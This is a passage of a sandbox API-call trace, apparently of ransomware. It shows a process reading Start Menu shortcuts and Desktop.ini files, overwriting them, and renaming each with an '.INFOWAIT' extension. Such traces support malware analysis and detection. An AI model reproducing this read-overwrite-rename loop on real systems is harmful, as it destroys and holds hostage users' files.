(lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.112] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.112] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system restore.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.113] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4de [0133.113] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.113] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.113] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4de, lpOverlapped=0x0) returned 1 [0133.132] VirtualAlloc (lpAddress=0x0, dwSize=0x4de, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.132] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.132] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4de, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4de, lpOverlapped=0x0) returned 1 [0133.132] CloseHandle (hObject=0xad0) returned 1 [0133.133] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk" [0133.133] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk.INFOWAIT" [0133.133] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system restore.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\system restore.lnk.infowait")) returned 1 [0133.133] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.134] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.134] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.134] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\task scheduler.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.135] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4f4 [0133.135] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.135] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.135] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4f4, lpOverlapped=0x0) returned 1 [0133.140] VirtualAlloc (lpAddress=0x0, dwSize=0x4f4, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.141] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.141] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4f4, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4f4, lpOverlapped=0x0) returned 1 [0133.141] CloseHandle (hObject=0xad0) returned 1 [0133.141] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk" [0133.141] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk.INFOWAIT" [0133.141] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\task scheduler.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\task scheduler.lnk.infowait")) returned 1 [0133.142] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.142] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.143] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.143] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer reports.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.143] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x528 [0133.143] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.143] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.143] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x528, lpOverlapped=0x0) returned 1 [0133.208] VirtualAlloc (lpAddress=0x0, dwSize=0x528, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.208] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.208] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x528, lpOverlapped=0x0) returned 1 [0133.208] CloseHandle (hObject=0xad0) returned 1 [0133.209] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk" [0133.209] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk.INFOWAIT" [0133.209] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer reports.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer reports.lnk.infowait")) returned 1 [0133.209] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.210] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.210] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.210] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.211] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x524 [0133.211] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.211] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.211] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x524, lpOverlapped=0x0) returned 1 [0133.242] VirtualAlloc (lpAddress=0x0, dwSize=0x524, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.242] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.242] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x524, lpOverlapped=0x0) returned 1 [0133.243] CloseHandle (hObject=0xad0) returned 1 [0133.243] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk" [0133.243] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk.INFOWAIT" [0133.243] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer.lnk.infowait")) returned 1 [0133.243] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.244] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.244] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.244] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.244] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x157 [0133.245] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.245] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.245] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x157, lpOverlapped=0x0) returned 1 [0133.246] VirtualAlloc (lpAddress=0x0, dwSize=0x157, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.246] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.246] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x157, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x157, lpOverlapped=0x0) returned 1 [0133.246] CloseHandle (hObject=0xad0) returned 1 [0133.246] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Desktop.ini" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Desktop.ini") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Desktop.ini" [0133.246] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Desktop.ini.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Desktop.ini.INFOWAIT" [0133.246] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\desktop.ini"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Desktop.ini.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\desktop.ini.infowait")) returned 1 [0133.247] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.248] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.248] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.248] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\shapecollector.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.248] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x59c [0133.248] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.249] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.249] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x59c, lpOverlapped=0x0) returned 1 [0133.375] VirtualAlloc (lpAddress=0x0, dwSize=0x59c, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.376] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.376] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x59c, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x59c, lpOverlapped=0x0) returned 1 [0133.376] CloseHandle (hObject=0xad0) returned 1 [0133.376] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk" [0133.376] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk.INFOWAIT" [0133.376] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\shapecollector.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\shapecollector.lnk.infowait")) returned 1 [0133.376] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.377] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.377] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.377] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\tabtip.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.378] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x56a [0133.378] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.378] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.378] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x56a, lpOverlapped=0x0) returned 1 [0133.392] VirtualAlloc (lpAddress=0x0, dwSize=0x56a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.392] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.392] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x56a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x56a, lpOverlapped=0x0) returned 1 [0133.393] CloseHandle (hObject=0xad0) returned 1 [0133.393] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk" [0133.393] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk.INFOWAIT" [0133.393] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\tabtip.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\tabtip.lnk.infowait")) returned 1 [0133.393] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.394] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.394] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.394] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\windows journal.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.394] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x524 [0133.394] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.395] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.395] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x524, lpOverlapped=0x0) returned 1 [0133.396] VirtualAlloc (lpAddress=0x0, dwSize=0x524, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.397] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.397] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x524, lpOverlapped=0x0) returned 1 [0133.397] CloseHandle (hObject=0xad0) returned 1 [0133.397] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk" [0133.397] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk.INFOWAIT" [0133.397] MoveFileW (lpExistingFileName="C:\\Users\\All 